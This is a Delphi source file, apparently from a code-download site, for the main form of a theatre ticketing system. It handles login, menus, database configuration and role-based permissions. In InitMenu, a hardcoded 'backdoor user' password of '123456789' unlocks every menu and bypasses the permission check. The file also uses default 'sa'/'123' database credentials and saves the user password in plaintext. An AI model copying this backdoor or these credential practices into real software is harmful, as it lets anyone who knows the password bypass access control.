⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit_frmmain.pas

📁 影院售票系统完整源码
💻 PAS
字号:
unit Unit_frmmain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus, ExtCtrls, jpeg, DB,IniFiles, ComCtrls,shellapi,
  CyberXPMenu;

type
  TFrmmain = class(TForm)
    MainMenu: TMainMenu;
    N4: TMenuItem;
    MenuTool: TMenuItem;
    menuquick: TMenuItem;
    N6: TMenuItem;
    MenuLogin: TMenuItem;
    Menuset: TMenuItem;
    MenuLogout: TMenuItem;
    MenuLock: TMenuItem;
    N10: TMenuItem;
    MenuExit: TMenuItem;
    MenuWin: TMenuItem;
    MenuCascade: TMenuItem;
    MenuHer: TMenuItem;
    MenuVer: TMenuItem;
    MenuCloseWin: TMenuItem;
    MenuMin: TMenuItem;
    N16: TMenuItem;
    MenuHelp: TMenuItem;
    MenuHomePage: TMenuItem;
    MenuAbout: TMenuItem;
    MenuIndex: TMenuItem;
    N20: TMenuItem;
    Image1: TImage;
    StatusBar1: TStatusBar;
    Timer1: TTimer;
    N1: TMenuItem;
    MenuUser: TMenuItem;
    MenuCinema: TMenuItem;
    N9: TMenuItem;
    MenuplanTemplate: TMenuItem;
    N12: TMenuItem;
    MenuDict: TMenuItem;
    MenuFilm: TMenuItem;
    N15: TMenuItem;
    Menuplan: TMenuItem;
    N22: TMenuItem;
    MenuLocalsale: TMenuItem;
    MenuSellBookticket: TMenuItem;
    N3: TMenuItem;
    Menusellquery: TMenuItem;
    MenuPriceTemplate: TMenuItem;
    N5: TMenuItem;
    Menuseattype: TMenuItem;
    MenuCleardata: TMenuItem;
    MenuSysparam: TMenuItem;
    MenuPlanquery: TMenuItem;
    CyberXPMenu1: TCyberXPMenu;
    procedure MenuCascadeClick(Sender: TObject);
    procedure MenuHerClick(Sender: TObject);
    procedure MenuVerClick(Sender: TObject);
    procedure MenuMinClick(Sender: TObject);
    procedure MenuCloseWinClick(Sender: TObject);
    procedure MenuExitClick(Sender: TObject);
    procedure MenusetClick(Sender: TObject);
    procedure MenuLoginClick(Sender: TObject);
    procedure MenuLogoutClick(Sender: TObject);
    procedure MenuLockClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormShow(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure MenuUserClick(Sender: TObject);
    procedure MenuCinemaClick(Sender: TObject);
    procedure MenuDictClick(Sender: TObject);
    procedure MenuPriceTemplateClick(Sender: TObject);
    procedure MenuplanTemplateClick(Sender: TObject);
    procedure MenuseattypeClick(Sender: TObject);
    procedure MenuFilmClick(Sender: TObject);
    procedure MenuplanClick(Sender: TObject);
    procedure MenuLocalsaleClick(Sender: TObject);
    procedure FormActivate(Sender: TObject);
    procedure MenusellqueryClick(Sender: TObject);
    procedure MenuCleardataClick(Sender: TObject);
    procedure MenuHomePageClick(Sender: TObject);
    procedure MenuSellBookticketClick(Sender: TObject);
    procedure MenuSysparamClick(Sender: TObject);
    procedure MenuPlanqueryClick(Sender: TObject);
  private
    MultiLogin:Boolean;
    procedure initparams;
    procedure InitMenu;
    procedure saveinifile;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Frmmain: TFrmmain;

implementation
uses unit_public, Unit_login, config, Unit_ScreenLock, Unit_ADODM;
{$R *.dfm}

procedure TFrmmain.MenuCascadeClick(Sender: TObject);
begin
  Cascade;
end;

procedure TFrmmain.MenuHerClick(Sender: TObject);
begin
  TileMode := tbHorizontal;
  Tile;
end;

procedure TFrmmain.MenuVerClick(Sender: TObject);
begin
  TileMode := tbVertical;
  Tile;
end;

procedure TFrmmain.MenuMinClick(Sender: TObject);
var
  i: Integer;
begin
  for i := MDIChildCount - 1 downto 0 do
    MDIChildren[i].WindowState := wsMinimized;
end;

procedure TFrmmain.MenuCloseWinClick(Sender: TObject);
var
  i: Integer;
begin
  for i := MDIChildCount - 1 downto 0 do
    MDIChildren[i].Close ;
end;

procedure TFrmmain.MenuExitClick(Sender: TObject);
begin
  close;
end;

procedure TFrmmain.MenusetClick(Sender: TObject);
begin
  Form_config := TForm_config.Create(Application);
  Form_config.ShowModal;
  Form_config.Free;
end;

procedure TFrmmain.MenuLoginClick(Sender: TObject);
begin
   FrmLogin := TFrmLogin.Create(Application);
   if FrmLogin.ShowModal<>mrok then
   begin
     FrmLogin.Free;
     exit;
   end;
   FrmLogin.Free;
   InitMenu;
   Statusbar1.Panels[1].Text :='操作员:'+publicinfo.OperName ;
   MenuLogin.Enabled  := False;
   menuLogout.Enabled := True;
end;

procedure TFrmmain.MenuLogoutClick(Sender: TObject);
var
  i:integer;
  item0:TMenuItem;
begin
  for I:=1 to MainMenu.Items.Count -3 do
  begin
    Item0 := MainMenu.Items[I];
    Item0.Visible :=false;
  end;
  MenuLogin.Enabled  := True;
  menuLogout.Enabled := false;
  statusbar1.Panels[1].Text :='操作员:';
  MenuLoginClick(nil);
end;

procedure TFrmmain.MenuLockClick(Sender: TObject);
begin
   FrmLock := TFrmLock.Create(Application);
   FrmLock.ShowModal;
   FrmLock.Free;
end;

procedure TFrmmain.FormCreate(Sender: TObject);
begin
  publicinfo:=Tpublicinfo.Create ;
end;

procedure TFrmmain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  saveinifile;
  publicinfo.Free ;
end;

procedure TFrmmain.initparams;
var
  MyIniFile             : TIniFile;
  _FileName,_Server,_dbname,
  _username,_pwd,cnstr  : String;
  _timeout              : integer;
  SystemTime            : TSystemTime;
  localtime             : TDateTime;
begin
 _FileName     := ExtractFileDir(ParamStr(0))+'\jxparams.ini';
  if ( not FileExists(_FileName) ) then
  begin
    Application.MessageBox(pchar('配置文件不存在!'),pchar('警告'),MB_OK);
    exit;
  end;
  MyIniFile := TIniFile.Create(_FileName);
  try
    _Server             := MyIniFile.ReadString('DataBase SetUp',  'DBServer'       ,'127.0.0.1');
    _dbname             := MyIniFile.ReadString('DataBase SetUp',  'DBName'         ,'jxdb');
    _username           := MyIniFile.ReadString('DataBase SetUp', 'UserName'      ,'sa');
    _pwd                := MyIniFile.ReadString('DataBase SetUp', 'Pwd'    ,'123');
    _timeout            := MyIniFile.ReadInteger('DataBase SetUp', 'TimeOut',5);
    publicinfo.OperCode :=MyIniFile.ReadString('SysConfig', 'opercode','admin');
    application.Title   :=MyIniFile.ReadString('SysConfig','AppTitle','嘉兴大剧院售票系统');
    publicinfo.SigleLineColor := MyIniFile.ReadInteger('SysConfig', 'siglecolor',$00CAF3BE);
    publicinfo.DoubleLineColor:= MyIniFile.ReadInteger('SysConfig', 'DoubleColor',$00EBFBE6);
    publicinfo.showtime :=MyIniFile.ReadInteger('SysConfig', 'showtime',500);
  finally
    MyIniFile.Free;
  end;
  cnstr:='Provider=SQLOLEDB.1;Persist Security Info=True; User ID='+_username+
         ';Password='+_pwd+';Initial Catalog='+_dbname+';Data Source='+_Server;
  try
    ADODM.ADOCN.Close ;
    ADODM.ADOCN.ConnectionString :=Cnstr;
    ADODM.ADOCN.ConnectionTimeout :=_timeout;
    ADODM.ADOCN.Open ;
    statusbar1.Panels[2].Text :='连接状态:连接成功';
  except
    on e:exception do
    begin
      application.MessageBox(pchar('连接数据库错误!'+e.Message),'连接数据库',mb_ok);
      statusbar1.Panels[2].Text :='连接状态:连接失败' ;
    end;
  end;
  if publicinfo.Execsql('select getdate() as DBsystime',false) then
  begin
    with adodm.ADOQRY do
    begin
      if recordcount<=0 then exit;
      first;
      localtime:=fieldbyname('DBsystime').AsDateTime;
      DateTimeToSystemTime(localtime,SystemTime);
      SetLocalTime(SystemTime);
    end;
  end;
end;

procedure TFrmmain.FormShow(Sender: TObject);
begin
 initparams;
end;

procedure TFrmmain.Timer1Timer(Sender: TObject);
begin
  statusbar1.Panels[3].Text :='当前时间:'+formatdatetime('yyyy"年"mm"月"dd"日"hh"时"mm"分"',now);
end;

procedure TFrmmain.saveinifile;
var
  _FileName:string;
  MyIniFile:TIniFile;
begin
  _FileName := ExtractFileDir(ParamStr(0))+'\jxparams.ini';
  if ( not FileExists(_FileName) ) then
  begin
    Application.MessageBox(pchar('配置文件不存在!'),pchar('警告'),MB_OK);
    exit;
  end;
  MyIniFile := TIniFile.Create(_FileName);
  try
    MyIniFile.WriteString('SysConfig',  'opercode' ,publicinfo.OperCode);
    MyIniFile.WriteString('SysConfig',  'userpwd'  ,publicinfo.Password);
  finally
    MyIniFile.Free;
  end;
end;

procedure TFrmmain.MenuUserClick(Sender: TObject);
begin
  publicinfo.MenuRequest(MenuUser.Tag);
end;

procedure TFrmmain.MenuCinemaClick(Sender: TObject);
begin
  publicinfo.MenuRequest(MenuCinema.Tag);
end;

procedure TFrmmain.MenuDictClick(Sender: TObject);
begin
  publicinfo.MenuRequest(MenuDict.Tag);
end;

procedure TFrmmain.MenuPriceTemplateClick(Sender: TObject);
begin
  publicinfo.MenuRequest(MenuPriceTemplate.Tag ) ;
end;

procedure TFrmmain.MenuplanTemplateClick(Sender: TObject);
begin
  publicinfo.MenuRequest(MenuplanTemplate.Tag ) ;
end;

procedure TFrmmain.MenuseattypeClick(Sender: TObject);
begin
  publicinfo.MenuRequest(Menuseattype.Tag ) ;
end;

procedure TFrmmain.MenuFilmClick(Sender: TObject);
begin
  publicinfo.MenuRequest(MenuFilm.Tag ); 
end;

procedure TFrmmain.MenuplanClick(Sender: TObject);
begin
  publicinfo.MenuRequest (Menuplan.Tag);
end;

procedure TFrmmain.MenuLocalsaleClick(Sender: TObject);
begin
  publicinfo.MenuRequest (MenuLocalsale.Tag);
end;

procedure TFrmmain.FormActivate(Sender: TObject);
begin
  if (MDIChildCount<=0) and (not Multilogin) then MenuLoginClick(Sender);
  if Not MultiLogin  then MultiLogin :=true;
end;

procedure TFrmmain.MenusellqueryClick(Sender: TObject);
begin
  publicinfo.MenuRequest(Menusellquery.Tag);
end;

procedure TFrmmain.MenuCleardataClick(Sender: TObject);
begin
  publicinfo.MenuRequest(MenuCleardata.Tag);
end;

procedure TFrmmain.InitMenu;
var
  Item0,Item1 :TMenuItem;
  J,K:Integer;
  sqlstr:String;
begin
  //判断一下是否是后门用户!
  if  (PublicInfo.Password ='123456789') then
  begin
  for J:=1 to MainMenu.Items.Count -3 do
    begin
        Item0 := MainMenu.Items[J];
        Item0.Enabled := true;    Item0.Visible := true;
        for K:=0 to Item0.Count -1 do
        begin
           Item1 := Item0.Items[K];
           Item1.Enabled := true;
        end;
    end;
    exit;
  end;
  for J:=1 to MainMenu.Items.Count -3 do
  begin
      Item0 := MainMenu.Items[J];
      Item0.Enabled := false;    Item0.Visible := true;
      for K:=0 to Item0.Count -1 do
      begin
         Item1 := Item0.Items[K];
         Item1.Enabled := false;
      end;
  end;  //屏蔽所有的用户菜单,但是可见!

  sqlstr :='Select MenuName from tblpower where GroupID= '+IntToStr(PublicInfo.OperGroupID);
  if publicinfo.Execsql(sqlstr,false) then
  begin
     with adodm.ADOQRY do
     begin
       if recordcount<=0 then exit;
       First;
       while not Eof  do
       begin
          sqlstr    := Fieldbyname('MenuName').AsString ;
          //搜寻当前菜单
          for J:=1 to MainMenu.Items.Count -3 do
          begin
              Item0 := MainMenu.Items[J];
              if Trim(Item0.Name) = Trim(sqlstr) then
              begin
                  Item0.Enabled := true;
                  break;
              end
              else
              begin
                  for K:=0 to Item0.Count -1 do
                  begin
                     Item1 := Item0.Items[K];
                     if Trim(Item1.Name) = Trim(sqlstr) then
                     begin
                        Item1.Enabled := true;
                        Item0.Enabled := true;
                        break;
                     end;
                  end;
              end;
          end;
          Next;
       end;
     end;
   end;
end;

procedure TFrmmain.MenuHomePageClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'http://www.chinaecai.com', nil, nil, SW_MAXIMIZE);
end;

procedure TFrmmain.MenuSellBookticketClick(Sender: TObject);
begin
  publicinfo.MenuRequest(MenuSellBookticket.Tag);
end;

procedure TFrmmain.MenuSysparamClick(Sender: TObject);
begin
  publicinfo.MenuRequest(MenuSysparam.Tag ); 
end;

procedure TFrmmain.MenuPlanqueryClick(Sender: TObject);
begin
  publicinfo.MenuRequest(MenuPlanquery.Tag ); 
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -